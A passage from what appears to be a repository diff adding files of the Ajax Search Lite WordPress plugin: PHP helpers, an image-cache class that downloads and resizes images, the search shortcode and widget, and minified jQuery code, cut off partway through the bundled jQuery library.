7
+ return true;
8
+ }
9
+ }
10
+
11
+ return false;
12
+ }
13
+ }
14
+
15
+ if (!function_exists("wpdreams_ismobile")) {
16
+ function wpdreams_ismobile() {
17
+ $is_mobile = '0';
18
+ if(preg_match('/(android|iphone|ipad|up.browser|up.link|mmp|symbian|smartphone|midp|wap|phone)/i', strtolower($_SERVER['HTTP_USER_AGENT'])))
19
+ $is_mobile=1;
20
+ if((strpos(strtolower($_SERVER['HTTP_ACCEPT']),'application/vnd.wap.xhtml+xml')>0) or ((isset($_SERVER['HTTP_X_WAP_PROFILE']) or isset($_SERVER['HTTP_PROFILE']))))
21
+ $is_mobile=1;
22
+ $mobile_ua = strtolower(substr($_SERVER['HTTP_USER_AGENT'],0,4));
23
+ $mobile_agents = array('w3c ','acs-','alav','alca','amoi','andr','audi','avan','benq','bird','blac','blaz','brew','cell','cldc','cmd-','dang','doco','eric','hipt','inno','ipaq','java','jigs','kddi','keji','leno','lg-c','lg-d','lg-g','lge-','maui','maxo','midp','mits','mmef','mobi','mot-','moto','mwbp','nec-','newt','noki','oper','palm','pana','pant','phil','play','port','prox','qwap','sage','sams','sany','sch-','sec-','send','seri','sgh-','shar','sie-','siem','smal','smar','sony','sph-','symb','t-mo','teli','tim-','tosh','tsm-','upg1','upsi','vk-v','voda','wap-','wapa','wapi','wapp','wapr','webc','winw','winw','xda','xda-');
24
+
25
+ if(in_array($mobile_ua,$mobile_agents))
26
+ $is_mobile=1;
27
+
28
+ if (isset($_SERVER['ALL_HTTP'])) {
29
+ if (strpos(strtolower($_SERVER['ALL_HTTP']),'OperaMini')>0)
30
+ $is_mobile=1;
31
+ }
32
+ if (strpos(strtolower($_SERVER['HTTP_USER_AGENT']),'windows')>0)
33
+ $is_mobile=0;
34
+ return $is_mobile;
35
+ }
36
+ }
37
+ if (!function_exists("current_page_url")) {
38
+ function current_page_url() {
39
+ $pageURL = 'http';
40
+ if( isset($_SERVER["HTTPS"]) ) {
41
+ if ($_SERVER["HTTPS"] == "on") {$pageURL .= "s";}
42
+ }
43
+ $pageURL .= "://";
44
+ if ($_SERVER["SERVER_PORT"] != "80") {
45
+ $pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
46
+ } else {
47
+ $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
48
+ }
49
+ return $pageURL;
50
+ }
51
+ }
52
+
53
+ if (!function_exists("postval_or_getoption")) {
54
+ function postval_or_getoption($option)
55
+ {
56
+ if (isset($_POST) && isset($_POST[$option]))
57
+ return $_POST[$option];
58
+ return get_option($option);
59
+ }
60
+ }
61
+
62
+ ?>
icon.png ADDED
Binary file
img/loading-big.gif ADDED
Binary file
img/loading.gif ADDED
Binary file
img/loading/loading3.gif ADDED
Binary file
img/magnifier.png ADDED
Binary file
img/magnifiers/magn3.png ADDED
Binary file
img/settings/settings1.png ADDED
Binary file
includes/imagecache.class.php ADDED
@@ -0,0 +1,175 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /*
3
+ * Creates a cache of the image file in the given dimensions
4
+ * as a jpeg file into the specified folder.
5
+ * <code>
6
+ * //Parse the first image from text
7
+ * new wpdreamsImageCache($im, $saveas, $w, $h, 1)
8
+ * //Parse the image from url
9
+ * new wpdreamsImageCache($im, $saveas, $w, $h)
10
+ * </code>
11
+ *
12
+ * @author Ernest Marcinko <ernest.marcinko@wp-dreams.com>
13
+ * @version 1.0
14
+ * @link http://wp-dreams.com, http://codecanyon.net/user/anago/portfolio
15
+ * @copyright Copyright (c) 2012, Ernest Marcinko
16
+ */
17
+ if (!class_exists('wpdreamsImageCache')) {
18
+ class wpdreamsImageCache {
19
+ /*
20
+ * Constructor
21
+ *
22
+ * @param string $im text containing the image or image url
23
+ * @param string $saveas path to the cache folder WITH DS on the end!
24
+ * @param int $w width of the result image
25
+ * @param int $h height of the result image
26
+ * @param int $imagenum (optional) the number of the image found in the text to be cached, if left blank, then the $im is treated as an url and NOT as TEXT!
27
+ */
28
+ function __construct($im, $saveas, $w, $h, $imagenum=-1, $color="#ffffff") {
29
+ if ($imagenum>=0) {
30
+ $this->content = $im;
31
+ $this->imagenum = $imagenum-1;
32
+ $this->parse_content();
33
+ } else {
34
+ $this->im = $im;
35
+ }
36
+ /* Clear all possible warning, not safe, but still.. */
37
+ ob_start();
38
+ $this->resultImageName = $this->img_resizer($this->im, 100, $w, $h, $saveas, $color);
39
+ ob_end_clean();
40
+ }
41
+
42
+ function parse_content() {
43
+ $this->im = "";
44
+ if ($this->content=="") return;
45
+ $dom = new domDocument;
46
+ @$dom->loadHTML($this->content);
47
+ $dom->preserveWhiteSpace = false;
48
+ @$images = $dom->getElementsByTagName('img');
49
+ if ($images->length>0) {
50
+ if ($images->length>$this->imagenum) {
51
+ $this->im = $images->item($this->imagenum)->getAttribute('src');
52
+ } else {
53
+ $this->imagenum = 0;
54
+ $this->im = $images->item(0)->getAttribute('src');
55
+ }
56
+ }
57
+ }
58
+
59
+ function get_image() {
60
+ return $this->resultImageName;
61
+ }
62
+
63
+ function _ckdir($fn) {
64
+ if (strpos($fn,"/") !== false) {
65
+ $p=substr($fn,0,strrpos($fn,"/"));
66
+ if (!is_dir($p)) {
67
+ //_o("Mkdir: ".$p);
68
+ mkdir($p,0777,true);
69
+ }
70
+ }
71
+ }
72
+
73
+ function img_resizer($src,$quality,$w,$h,$saveas, $color) {
74
+ if (!extension_loaded('gd') || !function_exists('gd_info')) {
75
+ return "";
76
+ }
77
+ $method = $this->can_get_file();
78
+ if( $method==false) {
79
+ return "";
80
+ }
81
+ if ($src=="") return "";
82
+ $filename = md5($src.$w.$h.$this->imagenum).".jpg";
83
+ $saveas .= $filename;
84
+ if (file_exists($saveas)) return $filename;
85
+ $r = 1;
86
+ $_file = $this->url_get_contents($src, $method);
87
+ if ($_file=="") return "";
88
+ $OldImage = imagecreatefromstring($_file);
89
+ $_bgcolor = $this->hex2rgb($color);
90
+ $bgcolor = imagecolorallocate($OldImage, $_bgcolor[0],$_bgcolor[1],$_bgcolor[2]);
91
+
92
+
93
+ if ($r) {
94
+ if ($method==1) {
95
+ list($width, $height) =$this->fast_getimagesize($OldImage);
96
+ } else {
97
+ list($width,$height) =getimagesize($src);
98
+ }
99
+
100
+ if ($width<=0 || $height<=0) return "";
101
+
102
+ $_ratio=array($width/$height,$w/$h);
103
+ if ($_ratio[0] != $_ratio[1]) {
104
+ $_scale=min((float)($width/$w),(float)($height/$h));
105
+ $cropX=(float)($width-($_scale*$w));
106
+ $cropY=(float)($height-($_scale*$h));
107
+ $cropW=(float)($width-$cropX);
108
+ $cropH=(float)($height-$cropY);
109
+ $crop=ImageCreateTrueColor($cropW,$cropH);
110
+ imagefilledrectangle($crop, 0, 0, $cropW, $cropH, $bgcolor);
111
+ ImageCopy($crop,$OldImage,0,0,(int)($cropX/2),(int)($cropY/2),$cropW,$cropH);
112
+ }
113
+
114
+ $NewThumb=ImageCreateTrueColor($w,$h);
115
+ imagefilledrectangle($NewThumb, 0, 0, $w, $h, $bgcolor);
116
+ if (isset($crop)) {
117
+ ImageCopyResampled($NewThumb,$crop,0,0,0,0,$w,$h,$cropW,$cropH);
118
+ ImageDestroy($crop);
119
+ } else {
120
+ ImageCopyResampled($NewThumb,$OldImage,0,0,0,0,$w,$h,$width,$height);
121
+ }
122
+ $this->_ckdir($saveas);
123
+ ImageJpeg($NewThumb,$saveas,$quality);
124
+ ImageDestroy($NewThumb);
125
+ ImageDestroy($OldImage);
126
+ }
127
+ return $filename;
128
+ }
129
+
130
+ function can_get_file() {
131
+ if (function_exists('curl_init')){
132
+ return 1;
133
+ } else if (ini_get('allow_url_fopen')==true) {
134
+ return 2;
135
+ }
136
+ return false;
137
+ }
138
+
139
+ function url_get_contents($Url, $method) {
140
+ if ($method==2) {
141
+ return file_get_contents($Url);
142
+ } else if ($method==1) {
143
+ $ch = curl_init();
144
+ curl_setopt($ch, CURLOPT_URL, $Url);
145
+ curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
146
+ $output = curl_exec($ch);
147
+ curl_close($ch);
148
+ return $output;
149
+ }
150
+ }
151
+
152
+ function fast_getimagesize($im) {
153
+ $width = imagesx($im);
154
+ $height = imagesy($im);
155
+ return array($width, $height);
156
+ }
157
+
158
+ function hex2rgb($color) {
159
+ if (strlen($color)<3) return array(255,255,255);
160
+ if ($color[0] == '#')
161
+ $color = substr($color, 1);
162
+ if (strlen($color) == 6)
163
+ list($r, $g, $b) = array($color[0].$color[1],
164
+ $color[2].$color[3],
165
+ $color[4].$color[5]);
166
+ elseif (strlen($color) == 3)
167
+ list($r, $g, $b) = array($color[0].$color[0], $color[1].$color[1], $color[2].$color[2]);
168
+ else
169
+ return false;
170
+ $r = hexdec($r); $g = hexdec($g); $b = hexdec($b);
171
+ return array($r ,$g ,$b);
172
+ }
173
+ }
174
+ }
175
+ ?>
includes/shortcodes.php ADDED
@@ -0,0 +1,108 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ add_shortcode( 'wpdreams_ajaxsearchlite', 'add_ajaxsearchlite');
3
+
4
+ function searchlite_stylesheets() {
5
+ wp_enqueue_style('wpdreams-ajaxsearchlite', plugin_dir_url(__FILE__).'../css/'.get_option('asl_theme_select'), false);
6
+ }
7
+ add_action('wp_print_styles', 'searchlite_stylesheets');
8
+
9
+ function add_ajaxsearchlite( $atts ) {
10
+ ob_start();
11
+ $style = null;
12
+ global $wpdb;
13
+ global $wpdreams_polaroids;
14
+ $id = 1;
15
+ $file = AJAXSEARCHLITE_PATH."/css/style.css";
16
+
17
+ $settingsHidden = ((
18
+ get_option('asl_showexactmatches')!=1 &&
19
+ get_option('asl_showsearchinposts')!=1 &&
20
+ get_option('asl_showsearchinpages')!=1
21
+ )?true:false);
22
+ ?>
23
+ <div id='ajaxsearchlite'>
24
+ <div class="probox">
25
+ <div class='proinput'>
26
+ <input type='text' name='phrase' value='' />
27
+ <span class='loading'></span>
28
+ </div>
29
+ <div class='promagnifier'>
30
+ </div>
31
+ <div class='prosettings' <?php echo ($settingsHidden?"style='display:none;'":""); ?>opened=0>
32
+ </div>
33
+ <div class='proloading'>
34
+ </div>
35
+ </div>
36
+ <div id='ajaxsearchlitesettings' class="searchsettings">
37
+ <form name='options'>
38
+ <div class="option<?php echo ((get_option('asl_showexactmatches')!=1)?" hiddend":""); ?>">
39
+ <input type="checkbox" value="checked" id="set_exactonly<?php echo $id; ?>" name="set_exactonly" <?php echo ((get_option('asl_exactonly')==1)?'checked="checked"':''); ?>/>
40
+ <label for="set_exactonly<?php echo $id; ?>"></label>
41
+ </div>
42
+ <div class="label<?php echo ((get_option('asl_showexactmatches')!=1)?" hiddend":""); ?>">
43
+ <?php echo get_option('asl_exactmatchestext'); ?>
44
+ </div>
45
+ <div class="option hiddend"); ?>">
46
+ <input type="checkbox" value="None" id="set_intitle<?php echo $id; ?>" name="set_intitle" <?php echo ((get_option('asl_searchintitle')==1)?'checked="checked"':''); ?>/>
47
+ <label for="set_intitle<?php echo $id; ?>"></label>
48
+ </div>
49
+ <div class="label hiddend"); ?>">
50
+
51
+ </div>
52
+ <div class="option hiddend"); ?>">
53
+ <input type="checkbox" value="None" id="set_incontent<?php echo $id; ?>" name="set_incontent" <?php echo ((get_option('asl_searchincontent')==1)?'checked="checked"':''); ?>/>
54
+ <label for="set_incontent<?php echo $id; ?>"></label>
55
+ </div>
56
+ <div class="label hiddend"); ?>">
57
+
58
+ </div>
59
+ <div class="option<?php echo ((get_option('asl_showsearchinposts')!=1)?" hiddend":""); ?>">
60
+ <input type="checkbox" value="None" id="set_inposts<?php echo $id; ?>" name="set_inposts" <?php echo ((get_option('asl_searchinposts')==1)?'checked="checked"':''); ?>/>
61
+ <label for="set_inposts<?php echo $id; ?>"></label>
62
+ </div>
63
+ <div class="label<?php echo ((get_option('asl_showsearchinposts')!=1)?" hiddend":""); ?>">
64
+ <?php echo get_option('asl_searchinpoststext'); ?>
65
+ </div>
66
+ <div class="option<?php echo ((get_option('asl_showsearchinpages')!=1)?" hiddend":""); ?>">
67
+ <input type="checkbox" value="None" id="set_inpages<?php echo $id; ?>" name="set_inpages" <?php echo ((get_option('asl_searchinpages')==1)?'checked="checked"':''); ?>/>
68
+ <label for="set_inpages<?php echo $id; ?>"></label>
69
+ </div>
70
+ <div class="label<?php echo ((get_option('asl_showsearchinpages')!=1)?" hiddend":""); ?>">
71
+ <?php echo get_option('asl_searchinpagestext'); ?>
72
+ </div>
73
+ </form>
74
+ </div>
75
+ </div>
76
+ <div id='ajaxsearchliteres'>
77
+ <div class="scrollbar"><div class="track"><div class="thumb"><div class="end"></div></div></div></div>
78
+ <div class="results viewport">
79
+ <div class="resdrg overview">
80
+ </div>
81
+ </div>
82
+ </div>
83
+ <script>
84
+ asljQuery(document).ready(function() {
85
+ asljQuery("#ajaxsearchlite").ajaxsearchpro({
86
+ itemscount: <?php echo get_option('asl_itemscount'); ?>,
87
+ imagewidth: 70,
88
+ imageheight: 70,
89
+ resultitemheight: 70,
90
+ showauthor: <?php echo get_option('asl_showauthor'); ?>,
91
+ showdate: <?php echo get_option('asl_showdate'); ?>,
92
+ showdescription: 1,
93
+ charcount: <?php echo get_option('asl_charcount'); ?>,
94
+ noresultstext: 'No results!',
95
+ didyoumeantext: 'Did you mean?',
96
+ highlight: 0,
97
+ highlightwholewords: 0,
98
+ resultareaclickable: <?php echo get_option('asl_resultareaclickable'); ?>
99
+ });
100
+ });
101
+ </script>
102
+ <?php
103
+
104
+ $return = ob_get_clean();
105
+ return $return;
106
+ }
107
+
108
+ ?>
includes/widgets.php ADDED
@@ -0,0 +1,45 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ class AjaxSearchLiteWidget extends WP_Widget
3
+ {
4
+ function AjaxSearchLiteWidget()
5
+ {
6
+ $widget_ops = array('classname' => 'AjaxSearchLiteWidget', 'description' => 'Displays the Ajax Search Lite!' );
7
+ $this->WP_Widget('AjaxSearchLiteWidget', 'Ajax Search Lite', $widget_ops);
8
+ }
9
+ function form($instance)
10
+ {
11
+ global $wpdb;
12
+ if (isset($wpdb->base_prefix)) {
13
+ $_prefix = $wpdb->base_prefix;
14
+ } else {
15
+ $_prefix = $wpdb->prefix;
16
+ }
17
+ $instance = wp_parse_args( (array) $instance, array( 'title' => '' ) );
18
+ $title = $instance['title'];
19
+
20
+ ?>
21
+ <p><label for="<?php echo $this->get_field_id('title'); ?>">Title: <input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo attribute_escape($title); ?>" /></label></p>
22
+
23
+ <?php
24
+ }
25
+ function update($new_instance, $old_instance)
26
+ {
27
+ $instance = $old_instance;
28
+ $instance['title'] = $new_instance['title'];
29
+ return $instance;
30
+ }
31
+ function widget($args, $instance)
32
+ {
33
+ extract($args, EXTR_SKIP);
34
+ echo $before_widget;
35
+ $title = empty($instance['title']) ? ' ' : apply_filters('widget_title', $instance['title']);
36
+ if (!empty($title))
37
+ echo $before_title . $title . $after_title;;
38
+ // WIDGET CODE GOES HERE
39
+ echo do_shortcode("[wpdreams_ajaxsearchlite]");
40
+ echo $after_widget;
41
+ }
42
+ }
43
+
44
+ add_action( 'widgets_init', create_function('', 'return register_widget("AjaxSearchLiteWidget");') );
45
+ ?>
js/jquery.ajaxsearchpro.min.js ADDED
@@ -0,0 +1 @@
 
1
+ (function(e){function n(){return!!("ontouchstart"in window)?1:0}var t={init:function(r){var i=e.extend({},this,t);i.searching=false;i.o=e.extend({},r);i.n=new Object;i.n.container=e(this);i.n.probox=e(".probox",this);i.n.proinput=e(".proinput",this);i.n.text=e(".proinput input",this);i.n.loading=e(".proinput .loading",this);i.n.proloading=e(".proloading",this);i.n.promagnifier=e(".promagnifier",this);i.n.prosettings=e(".prosettings",this);i.n.searchsettings=e(".searchsettings",this);i.n.resultsDiv=e(this).next();i.n.items=e(".item",i.n.resultsDiv);i.n.results=e(".results",i.n.resultsDiv);i.n.resdrg=e(".resdrg",i.n.resultsDiv);i.n.drag=e(".resdrg",i.n.resultsDiv);i.o.id=i.n.container.attr("id").match(/^ajaxsearchpro(.*)/)[1];i.cleanUp();i.n.resultsDiv.appendTo("body");i.n.searchsettings.appendTo("body");if(e.browser.msie&&e.browser.version<9){i.n.searchsettings.addClass("ie78")}i.n.resultsDiv.css({opacity:0});e(document).bind("click",function(){i.hideResults();i.hideSettings()});e(this).bind("click",function(e){e.stopImmediatePropagation()});i.n.resultsDiv.bind("click",function(e){e.stopImmediatePropagation()});i.n.searchsettings.bind("click",function(e){e.stopImmediatePropagation()});i.scroll=i.n.results.mCustomScrollbar({scrollButtons:{enable:true,scrollType:"pixels",scrollSpeed:parseInt(i.o.resultitemheight),scrollAmount:parseInt(i.o.resultitemheight)},callbacks:{onScroll:function(){if(n())return;var t=parseInt(e(".mCSB_container",i.n.results).position().top);scr=t%(i.o.resultitemheight+3)-t==0&&Math.abs(t)%(i.o.resultitemheight+3)<i.o.resultitemheight/2+3?"first":-(Math.abs(t)%(i.o.resultitemheight+3))-t;if(Math.abs(t)%(i.o.resultitemheight+3)>i.o.resultitemheight/2){if(scr!="first")scr+=i.o.resultitemheight+3;e(".mCSB_container",i.n.resultsDiv).animate({top:-scr})}else{e(".mCSB_container",i.n.resultsDiv).animate({top:-scr})}}}});i.n.prosettings.click(function(){if(i.n.prosettings.attr("opened")==0){i.showSettings()}else{i.hideSettings()}});var s;e(window).bind("resize",function(){i.resize()});e(window).bind("scroll",function(){i.scrolling(false)});e(window).trigger("resize");e(window).trigger("scroll");i.n.promagnifier.click(function(){clearTimeout(s);s=setTimeout(function(){i.search();s=null},700)});i.n.text.keyup(function(){i.n.promagnifier.trigger("click")});return i},destroy:function(){return this.each(function(){var n=e.extend({},this,t);e(window).unbind(n)})},searchfor:function(t){e(".proinput input",this).val(t).trigger("keyup")},search:function(){var n=e.extend({},this,t);if(n.searching&&0)return;if(n.n.text.val().length<n.o.charcount)return;n.searching=true;n.n.proloading.css({visibility:"visible"});n.hideSettings();n.hideResults();var r={action:"ajaxsearchpro_search",s:n.n.text.val(),id:n.o.id,options:e("form",n.n.searchsettings).serialize()};jQuery.post(ajaxsearchpro.ajaxurl,r,function(t){n.n.resdrg.html("");if(t.nores!=null&&t.keywords!=null){var r=n.o.noresultstext+" "+n.o.didyoumeantext+"<br>";for(var i=0;i<t.keywords.length;i++){r=r+"<span class='keyword'>"+t.keywords[i]+"</span>"}n.n.resdrg.append("<div class='nores'>"+r+"</div>");e(".keyword",n.n.resdrg).bind("click",function(){n.n.text.val(e(this).html());n.n.promagnifier.trigger("click")})}else if(t.length>0){for(var i=0;i<t.length;i++){var s="";var o="";var u="";var a="";if(t[i].image!=null&&t[i].image!=""){s=" <div class='image' style='width:"+n.o.imagewidth+"px;height:"+n.o.imageheight+"px;'> <img src='"+t[i].image+"'> </div>"}if(n.o.showauthor==1){u="<span class='author'>"+t[i].author+"</span>"}if(n.o.showdate==1){a="<span class='date'>"+t[i].date+"</span>"}if(n.o.showdescription==1){o=t[i].content}var f="item_"+n.o.id+"_"+i;var l="";if(n.o.resultareaclickable==1){l="<span class='overlap'></span>"}var c=" <div class='item' id='"+f+"' style='height:"+n.o.resultitemheight+"px;'> "+s+" <div class='content' style='height:"+n.o.resultitemheight+"px;'> <h3><a href='"+t[i].link+"'>"+t[i].title+l+"</a></h3> <div class='etc'>"+u+" "+a+"</div> <p class='desc'>"+o+"</p> </div> <div class='clear'></div> </div>";c=e(c);n.n.resdrg.append(c)}}else{n.n.resdrg.append("<div class='nores'>"+n.o.noresultstext+"</div>")}n.n.items=e(".item",n.n.resultsDiv);n.showResults();n.n.proloading.css({visibility:"hidden"})},"json")},showResults:function(){var n=e.extend({},this,t);n.scrolling(true);var r=n.n.resultsDiv.position().top;n.n.resultsDiv.css({top:r-100,opacity:0,visibility:"visible"}).animate({top:r,opacity:1});if(n.n.items.length>0){var i=n.n.items.length<n.o.itemscount?n.n.items.length:n.o.itemscount;n.n.results.css({height:i*n.n.items.outerHeight(true)+3});n.scroll.mCustomScrollbar("update");n.scroll.mCustomScrollbar("scrollTo","first",{callback:false});if(n.o.highlight==1){var s=n.o.highlightwholewords==1?true:false;n.n.resultsDiv.highlight(n.n.text.val().split(" "),{element:"span",className:"highlighted",wordsOnly:s})}}n.resize();if(n.n.items.length==0){var o=e(".nores",n.n.results).outerHeight(true)>n.o.resultitemheight?n.o.resultitemheight:e(".nores",n.n.results).outerHeight(true);n.n.results.css({height:11110});n.scroll.mCustomScrollbar("update");n.n.results.css({height:e(".nores",n.n.results).outerHeight(true)})}n.scrolling(true);n.searching=false},hideResults:function(){var n=e.extend({},this,t);n.n.resultsDiv.animate({opacity:0},{complete:function(){e(this).css({visibility:"hidden"})}})},showSettings:function(){var n=e.extend({},this,t);n.scrolling(true);n.n.searchsettings.css({opacity:0,visibility:"visible",top:"-=50px"});n.n.searchsettings.animate({opacity:1,top:"+=50px"});n.n.prosettings.attr("opened",1)},hideSettings:function(){var n=e.extend({},this,t);n.n.searchsettings.animate({opacity:0},{complete:function(){e(this).css({visibility:"hidden"})}});n.n.prosettings.attr("opened",0)},cleanUp:function(){var n=e.extend({},this,t);e("body>#ajaxsearchprosettings"+n.o.id).remove();e("body>#ajaxsearchprores"+n.o.id).remove()},resize:function(){var n=e.extend({},this,t);n.n.proinput.css({width:n.n.probox.width()-8-(n.n.proinput.outerWidth()-n.n.proinput.width())-n.n.proloading.outerWidth(true)-n.n.prosettings.outerWidth(true)-n.n.promagnifier.outerWidth(true)-10});if(n.n.prosettings.attr("opened")!=0){n.n.searchsettings.css({display:"block",top:n.n.prosettings.offset().top+n.n.prosettings.height()-2,left:n.n.prosettings.offset().left+n.n.prosettings.width()-n.n.searchsettings.width()})}if(n.n.resultsDiv.css("visibility")!="hidden"){n.n.resultsDiv.css({width:n.n.container.width()-(n.n.resultsDiv.outerWidth(true)-n.n.resultsDiv.width()),top:n.n.container.offset().top+n.n.container.outerHeight(true)+10,left:n.n.container.offset().left});e(".content",n.n.items).each(function(){var t=e(this).prev().css("display")=="none"?0:e(this).prev().outerWidth(true);e(this).css({width:e(this.parentNode).width()-e(this).prev().outerWidth(true)-e(this).outerWidth()+e(this).width()})})}},scrolling:function(n){var r=e.extend({},this,t);if(n==true||r.n.searchsettings.css("visibility")=="visible"){r.n.searchsettings.css({display:"block",top:r.n.prosettings.offset().top+r.n.prosettings.height()-2,left:r.n.prosettings.offset().left+r.n.prosettings.width()-r.n.searchsettings.width()})}if(n==true||r.n.resultsDiv.css("visibility")=="visible"){r.n.resultsDiv.css({width:r.n.container.width()-(r.n.resultsDiv.outerWidth(true)-r.n.resultsDiv.width()),top:r.n.container.offset().top+r.n.container.outerHeight(true)+10,left:r.n.container.offset().left});e(".content",r.n.items).each(function(){var t=e(this).prev().css("display")=="none"?0:e(this).prev().outerWidth(true);e(this).css({width:e(this.parentNode).width()-e(this).prev().outerWidth(true)-e(this).outerWidth()+e(this).width()})})}}};e.fn.ajaxsearchpro=function(n){if(t[n]){return t[n].apply(this,Array.prototype.slice.call(arguments,1))}else if(typeof n==="object"||!n){return t.init.apply(this,arguments)}else{e.error("Method "+n+" does not exist on jQuery.ajaxsearchpro")}}})(jQuery)
js/nomin/asljquery.js ADDED
@@ -0,0 +1,4 @@
 
 
 
 
1
+ /*! jQuery v1.7.2 jquery.com | jquery.org/license */
2
+ (function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cu(a){if(!cj[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){ck||(ck=c.createElement("iframe"),ck.frameBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.createElement)cl=(ck.contentWindow||ck.contentDocument).document,cl.write((f.support.boxModel?"<!doctype html>":"")+"<html><body>"),cl.close();d=cl.createElement(a),cl.body.appendChild(d),e=f.css(d,"display"),b.removeChild(ck)}cj[a]=e}return cj[a]}function ct(a,b){var c={};f.each(cp.concat.apply([],cp.slice(0,b)),function(){c[this]=a});return c}function cs(){cq=b}function cr(){setTimeout(cs,0);return cq=f.now()}function ci(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ch(){try{return new a.XMLHttpRequest}catch(b){}}function cb(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g<i;g++){if(g===1)for(h in a.converters)typeof h=="string"&&(e[h.toLowerCase()]=a.converters[h]);l=k,k=d[g];if(k==="*")k=l;else if(l!=="*"&&l!==k){m=l+" "+k,n=e[m]||e["* "+k];if(!n){p=b;for(o in e){j=o.split(" ");if(j[0]===l||j[0]==="*"){p=e[j[1]+" "+k];if(p){o=e[o],o===!0?n=p:p===!0&&(n=o);break}}}}!n&&!p&&f.error("No conversion from "+m.replace(" "," to ")),n!==!0&&(c=n?n(c):p(o(c)))}}return c}function ca(a,c,d){var e=a.contents,f=a.dataTypes,g=a.responseFields,h,i,j,k;for(i in g)i in d&&(c[g[i]]=d[i]);while(f[0]==="*")f.shift(),h===b&&(h=a.mimeType||c.getResponseHeader("content-type"));if(h)for(i in e)if(e[i]&&e[i].test(h)){f.unshift(i);break}if(f[0]in d)j=f[0];else{for(i in d){if(!f[0]||a.converters[i+" "+f[0]]){j=i;break}k||(k=i)}j=j||k}if(j){j!==f[0]&&f.unshift(j);return d[j]}}function b_(a,b,c,d){if(f.isArray(b))f.each(b,function(b,e){c||bD.test(a)?d(a,e):b_(a+"["+(typeof e=="object"?b:"")+"]",e,c,d)});else if(!c&&f.type(b)==="object")for(var e in b)b_(a+"["+e+"]",b[e],c,d);else d(a,b)}function b$(a,c){var d,e,g=f.ajaxSettings.flatOptions||{};for(d in c)c[d]!==b&&((g[d]?a:e||(e={}))[d]=c[d]);e&&f.extend(!0,a,e)}function bZ(a,c,d,e,f,g){f=f||c.dataTypes[0],g=g||{},g[f]=!0;var h=a[f],i=0,j=h?h.length:0,k=a===bS,l;for(;i<j&&(k||!l);i++)l=h[i](c,d,e),typeof l=="string"&&(!k||g[l]?l=b:(c.dataTypes.unshift(l),l=bZ(a,c,d,e,l,g)));(k||!l)&&!g["*"]&&(l=bZ(a,c,d,e,"*",g));return l}function bY(a){return function(b,c){typeof b!="string"&&(c=b,b="*");if(f.isFunction(c)){var d=b.toLowerCase().split(bO),e=0,g=d.length,h,i,j;for(;e<g;e++)h=d[e],j=/^\+/.test(h),j&&(h=h.substr(1)||"*"),i=a[h]=a[h]||[],i[j?"unshift":"push"](c)}}}function bB(a,b,c){var d=b==="width"?a.offsetWidth:a.offsetHeight,e=b==="width"?1:0,g=4;if(d>0){if(c!=="border")for(;e<g;e+=2)c||(d-=parseFloat(f.css(a,"padding"+bx[e]))||0),c==="margin"?d+=parseFloat(f.css(a,c+bx[e]))||0:d-=parseFloat(f.css(a,"border"+bx[e]+"Width"))||0;return d+"px"}d=by(a,b);if(d<0||d==null)d=a.style[b];if(bt.test(d))return d;d=parseFloat(d)||0;if(c)for(;e<g;e+=2)d+=parseFloat(f.css(a,"padding"+bx[e]))||0,c!=="padding"&&(d+=parseFloat(f.css(a,"border"+bx[e]+"Width"))||0),c==="margin"&&(d+=parseFloat(f.css(a,c+bx[e]))||0);return d+"px"}function bo(a){var b=c.createElement("div");bh.appendChild(b),b.innerHTML=a.outerHTML;return b.firstChild}function bn(a){var b=(a.nodeName||"").toLowerCase();b==="input"?bm(a):b!=="script"&&typeof a.getElementsByTagName!="undefined"&&f.grep(a.getElementsByTagName("input"),bm)}function bm(a){if(a.type==="checkbox"||a.type==="radio")a.defaultChecked=a.checked}function bl(a){return typeof a.getElementsByTagName!="undefined"?a.getElementsByTagName("*"):typeof a.querySelectorAll!="undefined"?a.querySelectorAll("*"):[]}function bk(a,b){var 